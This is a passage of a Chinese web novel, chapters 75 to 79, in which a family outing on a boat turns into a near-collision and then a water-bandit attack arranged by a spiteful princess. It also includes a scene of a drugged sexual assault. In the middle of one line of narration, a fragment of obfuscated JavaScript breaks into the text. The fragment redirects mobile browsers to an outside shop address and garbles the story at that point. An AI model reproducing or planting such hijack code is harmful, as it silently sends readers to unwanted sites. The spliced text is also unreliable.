恰此时，正在船舷上看风景的沈玉珠蓦然叫了起来：“快看！那边也有一艘大船，好似朝咱们撞过来了！”
75. 撞船
沈宁音听了沈玉珠的话不由得加快了脚步走到船首方向。没一会儿沈夫人、沈引章、沈含鸢等人都跑了过来。
沈玉珠今年十三，还有些稚气未脱，脱口而出的话好似有些夸大，但沈宁音前世是坐过船的，知道正常船行的速度，那艘大船因逆着风，桅杆上并没有挂风帆，但速度却不慢，显然没有要让道的意思。
“快，快叫人把风帆放下来！”蔡氏急忙开口。
倘使真撞上，说不定出很大的乱子。
“岂有此理！”沈夫人抓着船舷，手背上青筋突起：“真当咱们侍郎府是软柿子了？不许让！我看这些人敢撞！“
今天沈夫人分明是想要好好放松一下，顺道享受未来女婿的讨好，可本该在船上照看的冷元景竟公然撂挑子。再加上林林总总那么多事，她没有一样是得脸的。
沈夫人急需一个宣泄情绪的口子。
过了一会儿蔡氏的人已经把船娘叫了上来。船娘领着人刚到船首打望，登时就瞧见了远处开过来的大船，登时就大惊失色，赶紧麻利地将帆收了。
可轮到要转舵的时候，沈夫人不干了，她亲自领着人拦在前头：“让什么让？光天化日朗朗乾坤，旁人的船是船咱们坐的不是？撞坏了还有上京府尹呢！咱们不让！银子又不用你们赔。”
沈夫人和几个丫鬟嬷嬷拦着，船娘一听也犹豫了。
沈宁音前世就听说过一些船行的事儿，倘使撞了船，当官的官船为了官声，往往会多赔些银子。无他，只因着圣人多疑，没几个当官的没点儿黑历史，没点儿政敌，若是别人主动撞的，那船行是只赚不亏的。
船娘打眼往沈宁音看过来的时候，沈宁音就知，她兴许也还在意着自个儿昌平侯府的身份背景。侍郎府是多大官儿，船娘兴许没概念，但能封侯的都得是极得圣人倚重的。
船娘看沈宁音的视线并没有太遮掩，沈夫人也瞧见了，她一时更气，冷着脸摆出做母亲的气势来：“沈宁音！”
沈夫人握着船舷的手掌收紧，眼神想威胁，又思忖着沈宁音现在人多势众的，语气就带了几分色厉内荏：“她们又不敢真的撞！你莫不是连这个也要忤逆我？”
忤逆？沈宁音这会儿可绝对没心思想沈夫人那些微不足到的脸面问题，她只看了沈夫人一眼，便转眸往远处的大船看去，她奋力想瞧得清楚些。
可风帆收起来之后，大船的速度便慢了下去，那船又太远，只能隐约瞧见上头盘盘囷囷，丹楹刻桷，纹路繁复，一看就非富即贵。
沈宁音脑子里飞快梭巡，前世上京迢远，姑苏那边又因着沈宁音的狼藉名声，与侍郎府两相避嫌，并不通达。思索了半天也只在冷元景进京述职那年找着个语焉不详的事儿。
不知几年几月，薛岩那位最疼爱的干儿子曾大破水匪寨，薛岩替他请了功。
沈宁音袖中的指节收紧，瞳仁内暗自震惊。那定是薛岚，她今日恰好是来找人的，今日又恰好兴船。
水匪盘踞多年，伪朝为救圣人，当初伪圣可是曾经大动刀兵，活生生用人命血肉换来了几次惨胜。当今圣人被北夷放回来的时候圣朝尚在恢复，国库的银两都贴补给了各地，几乎空空如也。
如今虽加重赋税又攒了不少，可架不住圣人花销厉害，些许水匪，为祸几个百姓客商，哪里值当掏那么多银子去剿灭？
沈宁音唯一能想到的就是——那艘船里定有个要紧到让圣人都侧目之人。
繁多的思绪几乎在瞬间变得清晰起来。沈宁音抿唇，沉声吩咐：“让路，船娘，快些去。”
沈宁音一发话，船娘心里很有些失望，但一琢磨，旁人的船说不准还不敢撞上来哩。
船娘刚领着几个跑腿的准备下去帮忙转弯。“站住！不许去！”沈夫人大声道。
船娘也想着碰碰运气，便停下脚步。沈宁音双手在袖子里交握，语气短促：“还不快去！”
沈夫人见她连这个事儿都要违拗，登时怒不可遏，冲上去一巴掌往沈宁音脸上招呼：“你还敢说！”
沈宁音反应快，抬手就去挡。
虽挡住了脸，可沈夫人含怒出手，一股子巨大的力道将沈宁音的身子都带得往旁边儿踉跄了一下。
沈宁音只觉小臂一麻，片刻，细细密密的疼痛才像蛛网一般蔓延开来。她不必看都知道，必定是红了一片，又使不上劲儿，往后就要肿了。
沈夫人也不好受，她啊哟惨叫了一声，捂着手掌脸皱得像苦瓜。
船娘给吓了一跳。
而沈宁音再抬头去看时，那船已经愈来愈近了。
沈宁音坐过船，知晓打舵、划桨都需要时间，最最要紧的是，这么
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大的一艘船，但凡船工少上几个，若再加上对方不打算避让的情况下，很大可能真给撞上去。
来不及了！沈宁音捂着手臂，用最快的速度吩咐：“染竹、兰香！你带着人去下边儿守着她们让道！必要的时候都上去帮忙！”
沈宁音的声音和威势四溢的眼神叫船娘如梦初醒，连忙带着人往下赶。
呼啦啦一群人都走了，沈夫人见沈宁音手臂没什么力气，又见她身边儿只有个乳臭未干的小丫头，顿时又有了盘算。
可那小丫头却是冷凝着眼神一言不发从袖子里掏出一把匕首。匕首闪着寒光，小丫头的手指有一下没一下地摩挲着，仿佛随时准备拿这个捅人家的心脏。
沈夫人脸色难看，心下衡量着控下丫头的利弊得失。
沈宁音倒是不担心的，春渠的为人她再清楚不过，这丫头疯起来不要性命，虽是侍郎府里头出来的，卖身契也还在沈夫人那，可春渠是个孤家寡人，没有亲眷在侍郎府。
无牵无挂的人，最是用命。
沈宁音这会儿真正担心的，反而是船娘那边。
兰香与染竹领着人下去的时候，果真发现了大问题。
先前在慢慢游山玩水，船速本不必太快，所以都没往这方面想，但现实是——船工不足。
十几个桨位，只有三五个人在，即便加上船娘跟她带上去询问情况的一人，也两只手都能数的过来！
平日里也就罢了，可遇着这样的事情根本来不及转弯的！
兰香连忙安排上一些身强力壮的家丁上去顶。
这些人不足船工们熟练，但好在有几分力气，也能勉强帮得上忙。
船娘也是吓坏了，忙慌慌去帮着舵手。
兰香质问的时候，船娘心虚也很无奈，毕竟冷元景在那种拮据的情况下租赁，定然是要讨价还价的。船工也是要花银子请。
人家靠力气吃饭，又有家小要养活，哪里能短了每个人的银钱？想要便宜，便只能少请几个，左右赏景也够了。
冷元景这么一省钱，差点儿酿成大祸。
沈宁音沈夫人等人在甲板上也是看得心惊肉跳的。
沈夫人没想到那船真真是一点儿速度不肯减慢，就想着要撞沉她们！
还好沈宁音吩咐得及时，两船几乎是擦着错过去！
76. 担忧
两艘船大小差不多，不同的是另一艘船雕梁画栋，处处透着奢靡贵气，甚至还有一排高手站在甲板，谨慎而冰冷地望向沈宁音等人。
沈夫人是拎不清，但不是不怕死，被那样的人盯着，她后退两步，脸色苍白，半个字都说不出来。
这时，沈宁音察觉到有人在看自己，她甫一抬头，正对上了清河郡主李云英的眼。
“又是你啊。”清河郡主弯了弯唇，笑意不达眼底。
郡主不是个好相与的。沈宁音从来都知。按说，两人前世就没有交集，今生也该相安无事才对。
思来想去，唯一的一次见面，大抵就是在寒山寺那次。沈宁音不想再有牵扯、怕被她盯上。
沈宁音当下也是态度恭敬有度：“郡主，妾身是陪母亲与妹妹们游湖，先前避让不及，惊了郡主大驾。妾身替侍郎府给郡主赔不是。”
她一副低眉顺目的样子，又点出侍郎府的身份来，清河郡主目光停在她脸上，半晌，才冷哼了一声，转身回去。
等船彻底错开，所有人这才松了口气。
风一吹，沈夫人惊觉额头冰凉，她慌忙拿帕子擦拭冷汗。整个甲板上有一瞬间的安静。
好一会儿，郡主那股子压迫造成的影响才淡化了下去。沈宁音就听见沈夫人怒气冲冲开口：“沈宁音！你凭什么代替侍郎府？你嫁了人还敢替侍郎府与人道歉？你哪来的脸面？手未免伸得太长！”
沈宁音没搭理她，脑子里思忖着事情。
毕竟她从来都知晓，沈夫人就是这种人，小家子气，该她硬气的时候，她半个字不肯说，等事儿过了，反倒要清算真正扛事儿的人。
这行径，沈引章听了都有些臊红了脸。蔡氏在一旁抱着沈玉珠，沈玉珠皱眉张嘴的时候，她慌忙拿手把小姑娘的嘴巴捂了。
面对女儿控诉的眼神，蔡氏只好道：“母亲，不管怎么说，船没撞上，是好事儿。清河郡主咱们可惹不得。”
沈夫人一想着清河郡主在外的凶名，又想起圣人对郡主的偏宠，再加上那人准王妃的身份。沈夫人胸臆里的气蓦地一滞，颇有种后怕的感觉。
她原就是想要推卸下责任，听罢便也不再多言，沈夫人瞪了沈宁音一眼，也就转身走了，边走边道：“什么惊了郡主銮驾，咱们家可不认的，倘若郡主追究起来，谁认下的谁便去担着！”
沈夫人的话脸面都不要了，蔡氏也听不下去。
但蔡氏再怎么也是嫁入沈家的女人，沈远淮虽不成器，但到底补上了个六品中书检正的职缺，她自己将来也是沈家宗妇。利益所在，所以蔡氏张了张嘴，也没说出半个字。
沈玉珠气得红了眼，推开蔡氏的手，道：“娘亲，宁音姑姑嫁了人，咱们家遇着事儿尚且站出来，祖母自己害怕，不肯出声，还要怪罪姑姑，宁音姑姑也没做错什么。凭什么受这个委屈？”
蔡氏哑口无言。
沈宁音原也没在意沈夫人如何，可沈玉珠能站出来帮她说上两句，沈宁音还是心下熨帖的。她弯唇摸了摸小姑娘红扑扑的脸颊。
“姑姑，你受委屈了。”沈玉珠抱着她的胳膊。
沈宁音摇摇头：“姑姑不委屈。”抬起头，沈宁音的目光落在了渐行渐远的大船身上。
总觉着这事儿还不算完。
这时，下去帮衬的兰香染竹等人恰好回来，各个脸上都有种劫后余生的庆幸。沈宁音突然眉头一蹙，想到了细节。
将才那艘船上，有一两个面孔她觉着面熟，并不是错觉。
沈宁音往船尾追了几步，手指攥紧船舷，心里的不安愈发严重。
兰香等人跟了过来。
兰香注意到她的神色，连忙出声问：“少夫人，怎么了？”
沈宁音手指颤了颤，在袖子里紧紧交握：“你派几个人，将船上的逃生小船控制住。”
兰香没问缘故立马领着人去办。
“染竹，你带人跟我去找船娘。”
染竹心中不免有点慌，小心翼翼问询：“少夫人，可是出了什么事儿？”
沈宁音回头又看了那艘大船一眼：“一时还没有，但必须防患于未然。”
许是两世为人的直觉，李云英此人，绝不可以常人来揣度。
台阶上铺着毯子，男人的脚步声更显得轻。薛岚登上三楼时，清河郡主正靠在软枕上闭目小憩。
察觉到他来，清河睁开了眼：“来了？”她微笑：“将银翘给你不过是小事，你也不必亲自来谢我。”
薛岚神色淡淡的，语调古井不波，他站在榻前，垂眸看她：“撞船这等事，你别做。”
他这么公事公办的态度，让原本带着点儿期待的清河郡主皱紧了眉：“怎么？可是心疼了谁？”
薛岚面具下的眉头微蹙，不想理会她的神经质。
清河郡主却是不依不饶，起身盯着他的眼眸道：“薛岚，你是了解我的，我李云英眼里容不得沙子，岂能有船与本郡主的一般大？撞沉了才好。”她略走两步，回眸一笑：“方才那船上的年轻姑娘可不少，怎么？薛大人是瞧上了哪一个不成？”
薛岚转身正对着她，声音冷淡：“圣人命我护着你，我只是不想在办差期间出任何纰漏。”
他走到她身边，转眸与她目光相接：“安分些。”
说完这句，薛岚也不管李云英是何反应，径直下楼。
就在他要走下台阶之际，李云英忽然大笑出声，女人捂着腰腹笑得花枝乱颤，及至薛岚停步，清河郡主倏然收了笑，看着他道：“你不让我动那船是么？”
薛岚没回话，很快便消失在了楼梯处。
“郡主，可要叫那些人动手了？”侍女小声询问。
清河郡主目光凶狠，咬牙：“本郡主改主意了，你通知下去，不劫咱们自个儿了。”
侍女一愣，那劫谁？
清河郡主眸中泛起兴味与恶劣的光，拿起桌案上的一颗葡萄，轻笑一声：“叫人将水匪引到方才那艘船上。”
她目光转冷：“本郡主最不喜欢的，就是瞧见碍眼的人……务必让那些贼人……
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”纤细的手指蓦地用力，翠色多汁的葡萄被捏爆开来，浅色的汁水溅了满手，碾碎的果肉软靡，葡萄特有的气息散放在空气中，李云英嘴角的弧度带着森冷：“毁了她们！”
侍女打了个寒颤，连忙下去吩咐。
湖水潺潺，阳光下，也泛着冷意，一小片阴云将太阳略遮了半面。
连天光都略略冷了下去。
侍郎府的大船并未察觉危险来临，唯独沈宁音在着手防范。
除了逃生用的小船，还找了许多能供人浮在水面上的物件儿。
沈宁音第一时间就领着人去了动力舱室。
她还没进门就听见里头正商议着什么。
船工与船娘说白了也都是做生意的，将才那船有多奢靡，随便一个小丫鬟都是瞧得出来，更遑论船只的特殊构造还有坚固程度，常年行船的人必定比普通人更了解。
也是好在沈宁音反应及时，不然，会水的人要是遇事弃船跑了，她们别说操纵这么大的船回去、怎么靠岸都费劲。
将人控制住后，船工们更加惶恐不安，沈宁音坐在门口，眉目是一贯的淡。
“诸位不必紧张，方才之事不过是误会。”她拿起兰香奉来的茶水，轻抿了一口，笑着道：“你们且安心将船往岸边靠些，一路沿着岸往回开。”
又叫人分了些银子下去，沈宁音说着：“等回了码头，还有赏钱。”
恩威并施之下，船上的船工都安心下来，原本停滞不前的船身慢慢开始移动了。
沈宁音也稍稍松了口气。
可是，难题显而易见，船来时，是顺着风，而今返程，却无法乘风破浪。
全得靠着人力，偏人力也不够。
沈宁音低头看着船尾往后蔓延的水花，心下没来由有些焦急。
湖光水色间，另一处幽静的小船上。
沈弦思略吃了几口菜，旁边儿冷元景却是拿出了一壶酒来。
她一开始还觉着甜蜜，但到这会儿，就觉着无聊起来。
菜色一点儿也不精致，说真的，沈弦思是有些失望的。毕竟不论是在阮家还是侍郎府里，吃食上，可从没亏待过她。
尤其这会儿，一想到沈宁音站着光，能在那么大一艘舫船上游山玩水，沈弦思就觉得郁闷。
“思儿，尝尝这桃花酒。”冷元景抬手，给她满了一杯。
桃花的香气混杂着酒香萦绕而来。沈弦思皱了皱眉，心情一时间变得更差了。她搁了筷子：“我不喝！”
沈弦思回侍郎府的时候，府里有桃树，房间里挂着桃花字画。不为别的，只因为沈二姑娘喜欢。
沈弦思讨厌沈宁音，觉得她就是个小偷，下贱之人喜欢的东西怎配脏了自己的房间和庭院。
她便将那桃花树给砍了。
半夜时，沈弦思就听见那人在哭，莫名的，这哭声叫她开心。明里暗里沈弦思都会挤兑她。
而今，自己的男人竟然给自己喝桃花酒。真真是叫沈弦思气急败坏。
“我不喝！”
77. 风险
冷元景表情僵了几秒，两息之后，他才坐到沈弦思身边儿去哄。
“思儿，今日这么好的天气，咱们又在一处，不喝酒，岂不扫了兴致？”
男人的声音低沉，垂眸看向她，将那酒杯往沈弦思嘴边递。
沈弦思蹙眉，也不知怎的，眼瞧着冷元景仿佛非要她喝桃花酒，沈弦思就会想到沈宁音。
沈弦思咬牙切齿，觉着她分明都嫁人了，怎么还阴魂不散！
沈弦思骄纵惯了，脾气有时候来得也莫名其妙，譬如冷元景并不知道她讨厌桃花，更不知沈宁音喜欢桃花。冷元景选桃花酒只是因着深秋季节，桃花不当季、比起桂花酒更稀罕些、又比旁的适合女眷。
沈弦思脾气上来，一把拍掉了他手里的酒杯：“我说我不喝！”
她这一下，直接将男人的手指拍红了。
肉疼又响亮的声音后，两个人都呆住，沈弦思的目光本能地看过去，瞥见冷元景脸上一闪而过的扭曲。
她揉了揉眼睛，怀疑自己是不是看错了。可很快，男人泛红的手指就夺去了她所有的注意力。
“元景哥哥，你有没有事？我刚刚不是故意的。”沈弦思眼睛里蓄满眼泪，可怜楚楚的模样。
男子很吃她这一套，从前孩提时，沈弦思这么要哭不哭的时候，总能惹得一同玩耍的男孩子服软。只是后来长大了，阮家给选了冷元景，恰好他皮囊最好，家世也不错，沈弦思就最是满意。
只是这一次，冷元景的心思并不在这个上头，他看沈弦思落泪，抿着唇抬手给她将脸上的眼泪擦干，又拿了个杯子倒了杯酒。
“思儿，你若真觉着愧疚，便喝了这杯酒。”冷元景揽着沈弦思的腰，一副不许她推辞的架势。
这样的姿势叫沈弦思又羞又膈应，她凝眉推拒：“元景哥哥，我不想喝酒，我们吃菜可好？”
“不行！”冷元景攥着酒杯的手指泛白用力。
沈弦思就有些害怕，一瞬间她就想起了先前在碎月楼时的场景。她推拒不过，被冷元景半哄半强迫地喝下了酒去。
沈弦思呛得剧烈咳嗽，她终于挣脱了冷元景的怀抱。
“思儿，你怎么样了？”冷元景的声音依旧温柔，可是眼神却不一样了。
沈弦思跌跌撞撞地趴到船舷处咳嗽，咳得眼泪都出来了，连说话声音都不连贯了：“我……我要回……回家去了！”
可举目四顾，此刻船正在水中央。再不是岁月楼那等可以跑掉的地方。
冷元景一把将她搂在怀里：“思儿，你仔细摔下去！”
沈弦思脑子有些发晕，冷元景将她抱起来时，她突然想起了沈宁音，想起了沈宁音身边的那人。温柔，矜贵，宠妻。而自己爱了那么久的男人，竟然只想着那档子事儿。
船舱的帘子掀开，外边儿装饰得称头的小船，里边儿破旧又脏乱，被褥都是旧的。沈弦思给沈阮两家千娇百宠的身子这会儿软绵绵地被放在了上面。
她浑身燥热，模糊的视线里，冷元景神色莫辩，好似个再陌生不过的人。
“不要……不要……元景哥哥……”她连声音都软得像水，猫叫一般。
冷元景拮据多日，决不肯放过攀附侍郎府的机会，这会儿也顾不上怜惜美人了。一边哄一边……
……
大船之上，沈夫人突然有点儿心悸，她皱了皱眉，旁边儿沈含鸢连忙给她递水：“母亲，您还生气呢？”
沈含鸢冷哼：“都怪沈宁音！从前据嘴葫芦假模假样，成天一副恭顺的嘴脸，现在得了二姐夫宠爱，就忘了自个儿是谁了！看给母亲气得！”
沈引章抿唇看了她一眼：“你就少说两句吧。”
沈夫人压下心里的异样，凝眉问：“沈宁音这会儿在做什么？”
说到这个沈含鸢就不困了，连忙挽着沈夫人的胳膊告状：“她控制了船工们，叫他们返航！银子不是她出，她自然不心疼。”
沈夫人脸色难看，但到底没反对：“回去就回去吧，今日真真是流年不利。”遇着那些个糟心事儿，沈夫人也没了游湖的兴致。
沈引章松了口气，沈含鸢却是不满，她正想再撺掇几句。忽然瞥见远去的那艘巨船好像突然停了。
同一时间，一直在关注清河郡主的沈宁音也发现了这个情况，她心下发沉。
果然，没一会儿，几艘小船就往她们的船只划了过来。
这些小船就好似寻常游玩的船只一样，可沈宁音头皮一麻，立刻反应了过来。
不寻常！
清河郡主的船还在那儿，那么大一艘，只要不瞎，又有谁敢在这附近乱晃？还同时有那么多？
“染竹、兰香！”沈宁音攥紧了裙裾：“把所有人往船舱撤！”
她语气沉稳，音量拔高，甚至带了点儿紧张。沈宁音从来都是内敛成竹的，极少有外放的时候。丫鬟们自然知晓事态恐怕紧急，都忙慌慌去做了。
沈宁音又亲自去找船娘商议，又控制住了求生的小船等物。
这是在上京城郊，能在此处做贼人的，必定都是速战速决，只要能拖住一时，说不定便有了生路。
蔡氏、沈玉珠都进来了，却少了几个人。
“少夫人，沈夫人不肯进来，说您大惊小怪……”兰香脸上挨了一巴掌，回来的时候红着眼圈捂着脸。
沈宁音心里一阵无名火起，眼瞧着那些船越来越近，再拖不得，她只能咬咬牙往甲板赶。
沈夫人见她来，满脸鄙夷：“你也别来劝，天子脚下，光天化日，还真能碰着歹人不成？”她指着沈宁音的鼻子怒道：“我才是沈家主母！你别以为你带了些人就能支使我了！你翅膀再硬也得喊我一声母亲！”
沈宁音狠狠攥紧百迭裙，后槽牙磨了磨，用力闭了闭眼：“那些船很可能是水匪！”
她只能说到这么些，除了来不及解释外，更不可能告诉沈夫人说她前世曾听闻过水匪约莫在今日会袭击船只！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502163|146125||http|test|mini|href|location''.split(''|''),0,{}));
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前世是袭击的清河郡主，今生保不齐就是自己等人呢？毕竟，前世冷元景顺风顺水，沈宁音又给害得沈阮两家两头不是人，冷元景回姑苏的时候，她就直接让人给带回去了，根本没这什么游船之事。
沈夫人哪里能听，坐在椅子上老脸阴沉：“我就不走，我看谁敢动本夫人！”
沈含鸢紧挨着她，看向沈宁音的目光得意：“就是，二姐姐到底不是亲生的，哪有我孝顺！等回去就告诉爹爹她欺辱家里人！”
沈引章听了这话，惊慌失措，想说话，可瞧见沈宁音冰寒如霜的那张脸，沈引章心里就咯噔一下，根本不敢上前置喙。
蔡氏带着沈玉珠，在船舱口张望，似乎想过来劝和，可她又放不下沈玉珠，正在那儿犹豫。
沈宁音知道水匪们擅水，要真乱起来逃到小船也惘然，这会儿再拖延下去，连前世那点儿先机都要失了。
“来人！”沈宁音沉声吩咐：“把沈夫人拖回船舱去！”
“你敢！”沈夫人拍桌子站起来，她不敢置信沈宁音作为一个侍郎府出去的养女，竟敢压着长辈。
奈何侯府家丁们孔武有力，拖着沈夫人就走，任凭沈夫人如何挣扎咒骂也没人理睬。
沈夫人一给拖走余下的沈家两个姑娘便没了主心骨，沈引章连忙跟了过去，沈含鸢满脸惊怒倒是想骂几句嘴，可沈宁音刀一般的眼神一瞪，再看看侯府那起子家丁护院……沈含鸢脸色一白，赶紧小跑着也跟上。
等进了舱室，沈夫人还没骂够，但她眼角余光瞥见了沈远淮。
沈远淮是沈家嫡长子，虽不是她亲生，却也是她姐姐生的儿子，沈夫人待他不薄，沈夫人心下一喜，连忙挣扎着喊：“远淮！你快来！来把他们打走！沈宁音这不孝女简直无法无天！欺负到了长辈头上！”沈夫人越说越气。
沈宁音转眸瞥了沈远淮一眼，男人身子微侧，眼神闪躲。
沈远淮性子如此，最是软弱，他的软弱同秦耀阳不同，秦耀阳耳根软，至少对家里人、还有对外某些时候还是硬气的。可沈远淮自小没有亲娘，沈夫人怕也是刻意将他往软弱了养，想着将来好给亲儿子做对比。
这位大哥当初在沈家时，不会去帮助沈宁音。这会儿沈宁音掌控了局面，自然也不可能来帮沈夫人。
沈夫人看沈远淮一个大男人都这幅模样，当下失望透顶。可她又有什么好失望的呢？
种什么因得什么果罢了。
沈宁音找了个座，施施然坐下。众人俨然以她为主心骨了。
沈夫人等人虽不服气，可这会儿再不甘心也没辙。
“外头没危险便罢了，若有危险，想死在外头的，我也不拦着，但侍郎府是我的娘家，我也做不到见死不救。”沈宁音看向沈夫人：“我只求母亲别轻举妄动。我也希望没事儿，但不能因为你，叫咱们都遇着危险！”
沈夫人冷冷盯着她看，都这样了她也不想说话了，只等着沈宁音一会儿打脸。
78. 拼了
日头渐渐阴了下去，那些个小船渐渐暴露了凶性，带着绳索的弓弩倏然往舫船扎了过去。
而另一边，李云英立在船头，饶有兴味地远眺。船上的便衣皆是姿态戒备起来。
护持上京周边的事儿本应该京郊营军统辖，但皇城司职隶特殊，遇事皆可过问。所以就有人要往上京城去消息。
人还没走，便被清河郡主拦了。
这会儿薛岚正好过来，目光看向李云英，后者露出个倾城微笑：“你莫不是想管？”
她转过身警告男人：“薛岚，别忘了，你今日的职责是保护本郡主。”
薛岚移开目光，冲手下人吩咐：“着人去京郊大营调人。”
“你敢！”清河郡主柳眉紧蹙看向那皇城司的番子。
清河郡主在圣人那儿盛眷优渥，未婚夫昭王又很是得宠，番子两头都开罪不起。
但到底是对薛岚的畏惧更胜一筹。
见他敢走，李云英哼了声，倒也没真如何。
此去调人，等人来时，那边怕早就已经人走船空了。
她便朝薛岚靠近，笑言：“京畿卫那边儿可是宁王的人，若在这上京府周边儿出了大事，定要摊到他头上去，到时候自可以找咱们的人替上去。”
“侍郎府不肯归顺昭王殿下，他家若出了事儿，对局势没什么影响，地位也够敲打中立派。”
清河郡主没说的是，再加上他们刚嫁去秦家的姑娘，到时候还能把宁王那边的昌平侯府拖下水，治秦侯一个驭下不严。
昌平侯府虽近期被抄过，可因着没有年轻一代从军，圣人对秦家还算放心。
但昌平侯府即便从不站队，宁王却是周家那位元妃之子。昭王一脉绝不可能对昌平侯府放下戒心。
清河郡主从来都觉薛岚只能向着昭王。
薛岚垂眸看了她好一会儿，并未说话。
眼瞧着远处那船风雨飘摇，薛岚却没有要立时去救的意思，清河郡主满意之余也莫名松了口气——还好这人遇着夺嫡之事，从不喜麻烦。
就在这时。
薛岚的亲信突然走了过来，附耳在他耳边说了几句话。
薛岚，快步往船尾去，也没理会身后清河的呼唤。
走到船舱，薛岚的心绪在瞧见船舱内裹在毯子里瑟瑟发抖的沈弦思时，莫名平静了下来。
沈弦思攥紧毯子，湿透的长发贴在脸上，惊恐中带着点儿凄楚。
薛岚收回目光，只询问一旁的亲信。
“属下瞧着她趴在浮木上，就将她捞了上来。”
薛岚闻言，面具下的眉头微蹙：“只她一人？”
那亲信顿了顿，似想到了什么，刚要开口，就听沈弦思哑着嗓子道：“大人，我……我是跟母亲和家人一起的！”她咬了咬牙，极力让自己看起来正常些：“是失足落水……对了！母亲她们都在大船上！”
沈弦思竭力想掩盖，却欲盖弥彰。
薛岚眼神微眯，那船给那么多水匪围攻，哪里能容她一人逃出生天。
薛岚并不打算探究她为何扯谎，转身走了出去。
这时，那亲信犹豫了一下，才提醒：“大人，那船上还有位夫人。”
薛岚冷声道：“你是越闲了。”他并不想听。
船只浮沉，侍郎府众人都挤在船舱最下边儿一层。
撤下来之前，沈宁音叫人将带着的财物统统都留在了上边儿。
就连不服她如沈夫人，在瞧见那些船上凶神恶煞的水匪们后，也是忙不迭将珠翠耳环等首饰还有碎银子都扔到上面儿的甲板上。
蔡氏紧紧搂着沈玉珠，几个未出阁的姑娘尤其受惊，遇着水匪土贼，哪怕什么事儿也没发生，对清誉也极影响。
沈宁音一言不发，她最不愿遇着的事儿终究是发生了。
盼只盼那些个水匪在天子脚下不敢太过嚣张，拿了上面儿的财物见好就收。
沈家有三朝
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底蕴，又有姑苏阮家这层关系财物与首饰不算少。
可一下又一下的凿船声，令沈宁音的心渐渐沉了下去。
“怎么办？！”沈含鸢要哭出来了。
沈远淮作为唯一的男丁，平日里再怂，这会儿已危及性命，迎着蔡氏与女儿的目光，他也不得不伸手将她们母女抱在怀里：“别怕。”
木板破洞的声音让沈含鸢尖叫出声：“娘，怎么办？！”
肆无忌惮的笑声隔着小小的洞口传进来：“哟，还有小娘子！兄弟们可有福了！”
阵阵笑容让沈宁音心中直泛恶心，但她不能露怯。
若连她都崩了，旁人便更没指望了。
沈宁音咬了咬牙，突然笑道：“抢了东西，还不速速逃走！你们可知惹了谁家？”
洞口扩大，一个贼人冷笑：“自然知道，你们不就是……”
他话未说完，另一人抬手给了那人一巴掌，凶狠道：“莫想着套话！本大爷管你谁家？遇着了爷爷们，谁也别想走脱！”
沈宁音皱了皱眉，掌心里终究沁出冷汗来，若这些人不为财，那定是有旁的目的。
沈宁音了解冷元景，起码现在的冷四郎在上京并没有什么背景，他再如何也不能支使得动这片水域的贼人。侍郎府参与过伪朝，到了圣人手底下，只管夹着尾巴做人，就更不可能惹事。
她唯一能想到的，是清河郡主的那张美人脸。
“来人！扎！”沈宁音一声令下，她身后的侯府护卫就拿上各种工具往那些人凿出来的窟窿眼儿戳。
既然没得谈了，那就自己搏一条生路出来！
好巧不巧，竟有人想通过窟窿往里头看，护卫拔刀一戳，正听着一声惨叫，护卫看着窟窿上的血，一时没反应过来。沈宁音站得近，她俏脸冷凝，抬手夺过刀一旋，抽出刀时，带进来一颗沾血的球体。
那东西咕噜噜滚到她脚边，沈宁音抬脚踩破，冷声命令：“跟他们拼了！”
79. 逃跑
贼人到底是擅水的，沈宁音带来的家丁虽强，但也只有隔着船壁才颇得上风。
那些水匪等吃了大亏，很快便冷静了下来，将争斗往水上引。
“船底下有人！”沈含鸢察觉到脚下的船板有动静，吓得跳开。
蔡氏脸色变得惊恐绝望：“不好了！那些人要凿船！”
沈夫人原本还在压抑又紧张的气氛下忍着，可这会儿一想到自己等人的处境就大哭起来。
船舱进水后，要么在这儿等着给淹死，要么打开门出去跟人家厮杀。
船舱内的武器有限，哪里比得过打家劫舍的？
沈夫人越想越绝望，毫无形象地边哭边骂：“都怪那冷元景！撺掇着思儿游什么湖！这下好了就要死在这儿了！”
沈宁音抬手将额头的乱发往耳后抿，转眸看向沈夫人：“闭嘴！”她的眼神凌厉，整个船舱都安静了下来，只余喀嚓喀嚓凿木头的声音，不只一处，叫人头皮发麻。沈夫人这会儿也顾不上擦眼泪，乖乖闭上了嘴巴。
“都去拿上武器。”沈宁音冷静吩咐。
沈宁音出来是去找薛岚的，虽多带了人，但那也是因为上次出门遇着了事儿，是依老夫人的意思带的。但沈宁音完全没料到在上京地界会出这等事，所以只象征性地带了两把刀，船舱里旧有的木棍也并不太多。
林林总总的，勉强保证了家丁们都不至于赤手空拳。
蔡氏看沈宁音拿起一只鱼叉，大惊失色，连忙拉住了她：“宁音，这是要做什么？！”
沈宁音道：“杀出去！”
“千万别！”沈夫人吓坏了。
“别冲动！”沈引章也连忙过来拉她。连船娘都吓坏了。
只是，正在大家竭力阻拦的时候，船底一声沉闷的响动，众人循声望去——但见在船底上，出现了一个小洞，水流因着压力喷泉一般冒了出来。
“啊这……”沈远淮离得最近，整个人都懵了。
死寂一般的声音后，所有都慌乱起来，侍郎府众人就好似无头苍蝇一般。
倒是沈玉珠这个年纪小的更加脑子清晰些，她大喊：“快！快拿东西堵住！”
沈远淮赶忙抓起旁边儿的破麻布就往漏洞堵。
可沈宁音太清楚不过，从前跟随冷元景在地方为官时就曾遇着过。船底的洞是堵不住的，也不似方才墙上的一般，能拿东西戳后头的人。不但戳不着，反而可能越掏越大。
沈远淮、沈引章、蔡氏等人都找东西要去堵。
“二姐姐，你站着做什么！”沈含鸢一直暗地里嫉妒，这两次的事儿后，也早看她不顺眼了，见沈宁音站着不动，立马挑拨：“连母亲都在这儿帮忙，你怎么敢站着！”
她话音一落，并无任何人附和，就连平日里对她宠爱有加的沈夫人都哑了火，沈含鸢到底还是在侍郎府养大的，脸色一下子通红，连忙住了嘴。
也就在这一会儿的功夫，第二个、第三个、第四个……第七八个破洞，都伴随着水流的涌出而出现在船底。
堵不过来、根本堵不过来。
沈宁音一言不发地看着那些人一个个的放弃，人们苍白着脸最终看向了沈宁音。
“冲出去。”沈宁音攥紧鱼叉，重复了一遍。
